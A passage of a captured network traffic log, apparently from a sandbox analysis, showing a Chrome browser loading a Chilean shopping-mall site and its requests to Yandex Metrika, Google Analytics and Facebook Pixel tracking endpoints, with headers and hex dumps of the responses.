2025-01-10 19:49:36 UTC	594	OUT	GET /metrika/advert.gif HTTP/1.1 Host: mc.yandex.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://patiooutletmaipu.cl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:37 UTC	1312	IN	HTTP/1.1 200 OK Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=3600 Connection: Close Content-Length: 43 Content-Type: image/gif Date: Fri, 10 Jan 2025 19:49:36 GMT ETag: "677fcb03-2b" Expires: Fri, 10 Jan 2025 20:49:36 GMT Last-Modified: Thu, 09 Jan 2025 13:11:31 GMT Set-Cookie: _yasc=hWEqhCMbjHG4lJRCcRkLVI7MH63hFpzRGIN3zQik9QFmN0LG42+medzn0aRQKGhwbLRf; domain=.yandex.com; path=/; expires=Mon, 08 Jan 2035 19:49:36 GMT; secure Set-Cookie: i=ok4uL17sX+UEqNiOYkLeLaeAzE4EFeawswJCkRFwpxfC7HNGUXhiXu3L8INqwvGTb9RXkWBBiXl4JlMg2Uc3o5uQqsQ=; Expires=Sun, 10-Jan-2027 19:49:36 GMT; Domain=.yandex.com; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: yandexuid=7399204401736538576; Expires=Sun, 10-Jan-2027 19:49:36 GMT; Domain=.yandex.com; Path=/; Secure; SameSite=None Set-Cookie: yashr=2728598011736538576; Path=/; Domain=.yandex.com; Expires=Sat, 10 Jan 2026 19:49:36 GMT; SameSite=None; Secure; HttpOnly Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: *
2025-01-10 19:49:37 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.17	49753	87.250.251.119	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:36 UTC	705	OUT	GET /metrika/metrika_match.html HTTP/1.1 Host: mc.yandex.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://patiooutletmaipu.cl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:37 UTC	1316	IN	HTTP/1.1 200 OK Accept-CH: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Full-Version, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=3600 Connection: Close Content-Length: 5498 Content-Type: text/html Date: Fri, 10 Jan 2025 19:49:37 GMT ETag: "677fcb03-157a" Expires: Fri, 10 Jan 2025 20:49:37 GMT Last-Modified: Thu, 09 Jan 2025 13:11:31 GMT Set-Cookie: _yasc=iX+andjW1Hw9T/YeCFQx6rjLDigOVCPaZVqiz0tLpdi8y/zjdSJe0U0jQZenGEnNqoA=; domain=.yandex.com; path=/; expires=Mon, 08 Jan 2035 19:49:37 GMT; secure Set-Cookie: i=xRgqfr/UrWinH+qCIiOPVF1TtC7p5HmTbkosbF3+rabU9WQ4KByHki+OUzImyv9stuyA1qBWFQXABgHDHRKEDPMBU+M=; Expires=Sun, 10-Jan-2027 19:49:37 GMT; Domain=.yandex.com; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: yandexuid=5374458211736538577; Expires=Sun, 10-Jan-2027 19:49:37 GMT; Domain=.yandex.com; Path=/; Secure; SameSite=None Set-Cookie: yashr=5031234511736538577; Path=/; Domain=.yandex.com; Expires=Sat, 10 Jan 2026 19:49:37 GMT; SameSite=None; Secure; HttpOnly Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: *
2025-01-10 19:49:37 UTC	5498	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta http-equiv="Content-Type" content="text/html;charset=UTF-8"> <meta name="viewp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.17	49755	173.194.76.156	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:36 UTC	875	OUT	POST /g/collect?v=2&tid=G-CH16T48972&cid=1483336929.1736538575&gtm=45je5190v9178914784za200zb9179349893&aip=1&dma=0&gcd=13l3l3l3l1l1&npa=0&frm=0&tag_exp=101925629~102067555~102067808~102081485~102198178 HTTP/1.1 Host: stats.g.doubleclick.net Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://patiooutletmaipu.cl X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://patiooutletmaipu.cl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:37 UTC	850	IN	HTTP/1.1 204 No Content Access-Control-Allow-Origin: https://patiooutletmaipu.cl Date: Fri, 10 Jan 2025 19:49:36 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Access-Control-Allow-Credentials: true Content-Type: text/plain Cross-Origin-Resource-Policy: cross-origin Content-Security-Policy-Report-Only: script-src 'none'; form-action 'none'; frame-src 'none'; report-uri https://csp.withgoogle.com/csp/scaffolding/ascnsrsggc:111:0 Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to=coop_reporting Report-To: {"group":"coop_reporting","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/scaffolding/ascnsrsggc:111:0"}],} Server: Golfe2 Content-Length: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.17	49760	157.240.253.35	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:37 UTC	854	OUT	GET /tr/?id=417760590628659&ev=PageView&dl=https%3A%2F%2Fpatiooutletmaipu.cl%2Ftiendas%2Fhead%2F&rl=&if=false&ts=1736538576132&sw=1280&sh=1024&v=2.9.179&r=stable&ec=0&o=4126&fbp=fb.1.1736538576130.896064100752492762&ler=empty&cdl=API_unavailable&it=1736538574771&coo=false&rqm=GET HTTP/1.1 Host: www.facebook.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://patiooutletmaipu.cl/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:37 UTC	464	IN	HTTP/1.1 200 OK Content-Type: text/plain Access-Control-Allow-Origin: Access-Control-Allow-Credentials: true Strict-Transport-Security: max-age=31536000; includeSubDomains cross-origin-resource-policy: cross-origin Server: proxygen-bolt X-FB-Connection-Quality: GOOD; q=0.7, rtt=88, rtx=0, c=10, mss=1392, tbw=3404, tp=-1, tpl=-1, uplat=0, ullat=0 Alt-Svc: h3=":443"; ma=86400 Date: Fri, 10 Jan 2025 19:49:37 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.17	49759	157.240.0.6	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:49:37 UTC	1204	OUT	GET /signals/config/417760590628659?v=2.9.179&r=stable&domain=patiooutletmaipu.cl&hme=b8122d5d96cd6f542162ba4f497489972d1ebe228d24c39d34f560e30ae932ce&ex_m=70%2C122%2C107%2C111%2C61%2C4%2C100%2C69%2C16%2C97%2C89%2C51%2C54%2C173%2C176%2C188%2C184%2C185%2C187%2C29%2C101%2C53%2C77%2C186%2C168%2C171%2C181%2C182%2C189%2C132%2C41%2C191%2C192%2C34%2C144%2C15%2C50%2C197%2C196%2C134%2C18%2C40%2C1%2C43%2C65%2C66%2C67%2C71%2C93%2C17%2C14%2C96%2C92%2C91%2C108%2C52%2C110%2C39%2C109%2C30%2C94%2C26%2C169%2C172%2C141%2C86%2C56%2C84%2C33%2C73%2C0%2C95%2C32%2C28%2C82%2C83%2C88%2C47%2C46%2C87%2C37%2C11%2C12%2C13%2C6%2C7%2C25%2C22%2C23%2C57%2C62%2C64%2C75%2C102%2C27%2C76%2C9%2C8%2C80%2C48%2C21%2C104%2C103%2C105%2C98%2C10%2C20%2C3%2C38%2C74%2C19%2C5%2C90%2C81%2C44%2C35%2C85%2C2%2C36%2C63%2C42%2C106%2C45%2C79%2C68%2C112%2C60%2C59%2C31%2C99%2C58%2C55%2C49%2C78%2C72%2C24%2C113 HTTP/1.1 Host: connect.facebook.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 19:49:37 UTC	1452	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: application/x-javascript; charset=utf-8 timing-allow-origin: * reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src 'self' data: blob: ;script-src 'nonce-30ZhXnLg' .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* blob: data: 'self' https://.google-analytics.com .google.com;style-src data: blob: 'unsafe-inline' ;connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com: wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' https://.google-analytics.com;img-src 'self' data: blob: * https://*.google-analytics.com;block-all-mixed-content;upgrade-insecure-requests;require-trusted-types-for 'script'; document-policy: force-load-at-top
2025-01-10 19:49:37 UTC	1670	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 74 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-height=(), ch-viewpor
2025-01-10 19:49:37 UTC	16384	IN	Data Raw: 2f 2a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 2d 70 72 65 73 65 6e 74 2c 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 2a 0a 2a 20 59 6f 75 20 61 72 65 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 20 61 20 6e 6f 6e 2d 65 78 63 6c 75 73 69 76 65 2c 20 77 6f 72 6c 64 77 69 64 65 2c 20 72 6f 79 61 6c 74 79 2d 66 72 65 65 20 6c 69 63 65 6e 73 65 20 74 6f 20 75 73 65 2c 0a 2a 20 63 6f 70 79 2c 20 6d 6f 64 69 66 79 2c 20 61 6e 64 20 64 69 73 74 72 69 62 75 74 65 20 74 68 69 73 20 73 6f 66 74 77 61 72 65 20 69 6e 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 72 20 62 69 6e 61 72 79 20 66 6f 72 6d 20 66 6f 72 20 75 73 65 0a 2a 20 69 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 77 69 Data Ascii: /* Copyright (c) 2017-present, Facebook, Inc. All rights reserved. You are hereby granted a non-exclusive, worldwide, royalty-free license to use,* copy, modify, and distribute this software in source code or binary form for use* in connection wi
2025-01-10 19:49:37 UTC	1500	IN	Data Raw: 69 6f 6e 20 67 28 61 2c 62 29 7b 69 66 28 21 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 62 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 68 28 61 2c 62 29 7b 69 66 28 21 61 29 74 68 72 6f 77 20 6e 65 77 20 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 28 22 74 68 69 73 20 68 61 73 6e 27 74 20 62 65 65 6e 20 69 6e 69 74 69 61 6c 69 73 65 64 20 2d 20 73 75 70 65 72 28 29 20 68 61 73 6e 27 74 20 62 65 65 6e 20 63 61 6c 6c 65 64 22 29 3b 72 65 74 75 72 6e 20 62 26 26 28 74 79 70 65 6f 66 20 62 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 62 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 62 3a 61 Data Ascii: ion g(a,b){if(!(a instanceof b))throw new TypeError("Cannot call a class as a function")}function h(a,b){if(!a)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return b&&(typeof b==="object"\|\|typeof b==="function")?b:a
2025-01-10 19:49:37 UTC	1482	IN	Data Raw: 41 72 72 61 79 2e 66 72 6f 6d 28 63 2e 76 61 6c 75 65 73 28 29 29 7d 66 75 6e 63 74 69 6f 6e 20 68 28 61 2c 62 29 7b 61 3d 67 28 61 2c 62 29 3b 76 61 72 20 64 3d 22 22 3b 62 3d 5b 5d 2e 63 6f 6e 63 61 74 28 6a 28 61 29 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 70 61 72 61 6d 43 6f 6e 66 69 67 2e 71 75 65 72 79 2e 6c 6f 63 61 6c 65 43 6f 6d 70 61 72 65 28 62 2e 70 61 72 61 6d 43 6f 6e 66 69 67 2e 71 75 65 72 79 29 7d 29 3b 62 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 61 6d 43 6f 6e 66 69 67 2e 70 72 65 66 69 78 2c 65 3d 61 2e 70 61 72 61 6d 43 6f 6e 66 69 67 2e 65 62 70 5f 70 61 74 68 3b 61 3d 61 2e 70 61 72 61 6d 56 61 6c 75 65 21 3d 6e 75 6c 6c 3f 61 2e Data Ascii: Array.from(c.values())}function h(a,b){a=g(a,b);var d="";b=[].concat(j(a)).sort(function(a,b){return a.paramConfig.query.localeCompare(b.paramConfig.query)});b.forEach(function(a){var b=a.paramConfig.prefix,e=a.paramConfig.ebp_path;a=a.paramValue!=null?a.
2025-01-10 19:49:37 UTC	13402	IN	Data Raw: 65 64 49 6e 50 69 78 65 6c 73 28 62 29 2e 69 6e 64 65 78 4f 66 28 63 29 3d 3d 3d 2d 31 7d 7d 29 28 29 3b 72 65 74 75 72 6e 20 65 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 0a 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 2e 70 6c 75 67 69 6e 73 2e 63 6f 6f 6b 69 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6a 2c 62 2c 63 2c 64 29 7b 76 61 72 20 65 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 65 2e 65 78 70 6f 72 74 73 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e Data Ascii: edInPixels(b).indexOf(c)===-1}})();return e.exports}(a,b,c,d)});f.ensureModuleRegistered("SignalsFBEvents.plugins.cookie",function(){return function(j,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var a=f.getFbeventsModules("SignalsFBEven
2025-01-10 19:49:37 UTC	1491	IN	Data Raw: 6f 6e 28 61 29 7b 66 2e 5f 5f 66 62 65 76 65 6e 74 73 52 65 73 6f 6c 76 65 64 4d 6f 64 75 6c 65 73 5b 61 5d 7c 7c 28 66 2e 5f 5f 66 62 65 76 65 6e 74 73 52 65 73 6f 6c 76 65 64 4d 6f 64 75 6c 65 73 5b 61 5d 3d 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 5b 61 5d 28 29 29 3b 72 65 74 75 72 6e 20 66 2e 5f 5f 66 62 65 76 65 6e 74 73 52 65 73 6f 6c 76 65 64 4d 6f 64 75 6c 65 73 5b 61 5d 7d 2c 66 2e 66 62 49 73 4d 6f 64 75 6c 65 4c 6f 61 64 65 64 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 21 21 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 5b 61 5d 7d 2c 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 61 29 7b 66 2e 66 62 49 73 4d 6f 64 75 6c 65 4c 6f 61 64 65 64 Data Ascii: on(a){f.__fbeventsResolvedModules[a]\|\|(f.__fbeventsResolvedModules[a]=f.__fbeventsModules[a]());return f.__fbeventsResolvedModules[a]},f.fbIsModuleLoaded=function(a){return!!f.__fbeventsModules[a]},f.ensureModuleRegistered=function(b,a){f.fbIsModuleLoaded
2025-01-10 19:49:38 UTC	14893	IN	Data Raw: 68 2e 6c 69 73 74 65 6e 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 21 6f 28 61 2e 69 64 29 3f 7b 7d 3a 7b 69 61 62 3a 31 7d 7d 29 3b 67 2e 6c 69 73 74 65 6e 28 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 69 66 28 21 6f 28 62 29 29 72 65 74 75 72 6e 3b 62 3d 61 2e 6c 6f 63 61 74 69 6f 6e 2e 6f 72 69 67 69 6e 2b 22 5f 22 2b 44 61 74 65 2e 6e 6f 77 28 29 2b 22 5f 22 2b 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3b 62 3d 6c 28 62 29 3b 76 61 72 20 64 3d 63 2e 67 65 74 28 22 65 69 64 22 29 3b 69 66 28 64 21 3d 6e 75 6c 6c 26 26 64 21 3d 3d 22 22 7c 7c 62 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 3b 63 2e 61 70 70 65 6e 64 28 22 61 70 63 6d 5f 65 69 64 22 2c 22 31 22 29 3b 64 3d 22 70 63 6d 5f 70 6c 75 67 69 6e 2d 73 65 74 5f 22 2b 62 3b 63 2e 61 70 Data Ascii: h.listen(function(a,b){return!o(a.id)?{}:{iab:1}});g.listen(function(b,c){if(!o(b))return;b=a.location.origin+"_"+Date.now()+"_"+Math.random();b=l(b);var d=c.get("eid");if(d!=null&&d!==""\|\|b==null)return;c.append("apcm_eid","1");d="pcm_plugin-set_"+b;c.ap
2025-01-10 19:49:38 UTC	1500	IN	Data Raw: 76 65 72 73 69 6f 6e 29 7d 63 61 74 63 68 28 61 29 7b 66 3d 21 30 2c 67 3d 61 7d 66 69 6e 61 6c 6c 79 7b 74 72 79 7b 21 65 26 26 68 5b 22 72 65 74 75 72 6e 22 5d 26 26 68 5b 22 72 65 74 75 72 6e 22 5d 28 29 7d 66 69 6e 61 6c 6c 79 7b 69 66 28 66 29 74 68 72 6f 77 20 67 7d 7d 75 2e 73 65 74 28 71 2c 53 74 72 69 6e 67 28 62 29 29 3b 78 28 64 2c 75 2c 73 29 7d 29 5b 22 63 61 74 63 68 22 5d 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 6d 65 73 73 61 67 65 3d 22 5b 43 6c 69 65 6e 74 48 69 6e 74 20 45 72 72 6f 72 5d 22 2b 61 2e 6d 65 73 73 61 67 65 2c 6a 28 61 29 7d 29 3b 68 2e 6c 69 73 74 65 6e 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 62 3d 64 2e 67 65 74 50 69 78 65 6c 28 62 29 3b 69 66 28 62 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 3b 62 3d 64 2e 70 6c 75 67 69 Data Ascii: version)}catch(a){f=!0,g=a}finally{try{!e&&h["return"]&&h["return"]()}finally{if(f)throw g}}u.set(q,String(b));x(d,u,s)})["catch"](function(a){a.message="[ClientHint Error]"+a.message,j(a)});h.listen(function(b){b=d.getPixel(b);if(b==null)return;b=d.plugi
2025-01-10 19:49:38 UTC	1482	IN	Data Raw: 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 20 6f 6e 20 74 68 69 73 20 70 61 67 65 22 7d 2c 22 2a 22 29 3b 22 65 72 72 6f 72 22 69 6e 20 63 6f 6e 73 6f 6c 65 26 26 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 46 61 63 65 62 6f 6f 6b 20 50 69 78 65 6c 20 45 72 72 6f 72 3a 20 50 69 78 65 6c 20 63 6f 64 65 20 69 73 20 6e 6f 74 20 69 6e 73 74 61 6c 6c 65 64 20 63 6f 72 72 65 63 74 6c 79 20 6f 6e 20 74 68 69 73 20 70 61 67 65 22 29 3b 72 65 74 75 72 6e 21 31 7d 72 65 74 75 72 6e 21 30 7d 28 29 29 72 65 74 75 72 6e 3b 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 7c 7c 28 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 3d 7b 7d 2c 66 2e 5f 5f 66 62 65 76 65 6e 74 73 52 65 73 6f 6c 76 65 64 4d 6f 64 75 6c 65 73 3d 7b 7d 2c 66 2e 67 65 74 46 62 65 Data Ascii: led correctly on this page"},"*");"error"in console&&console.error("Facebook Pixel Error: Pixel code is not installed correctly on this page");return!1}return!0}())return;f.__fbeventsModules\|\|(f.__fbeventsModules={},f.__fbeventsResolvedModules={},f.getFbe
2025-01-10 19:49:38 UTC	13402	IN	Data Raw: 3a 6a 7d 7d 29 28 29 3b 72 65 74 75 72 6e 20 65 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 0a 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 2e 70 6c 75 67 69 6e 73 2e 6c 61 73 74 65 78 74 65 72 6e 61 6c 72 65 66 65 72 72 65 72 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 76 61 72 20 65 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 65 2e 65 78 70 6f 72 74 73 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 63 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 47 65 74 56 61 6c 69 64 55 72 6c Data Ascii: :j}})();return e.exports}(a,b,c,d)});f.ensureModuleRegistered("SignalsFBEvents.plugins.lastexternalreferrer",function(){return function(a,b,c,d){var e={exports:{}};e.exports;(function(){"use strict";var c=f.getFbeventsModules("SignalsFBEventsGetValidUrl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.17	49761	157.240.253.35	443	7060	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
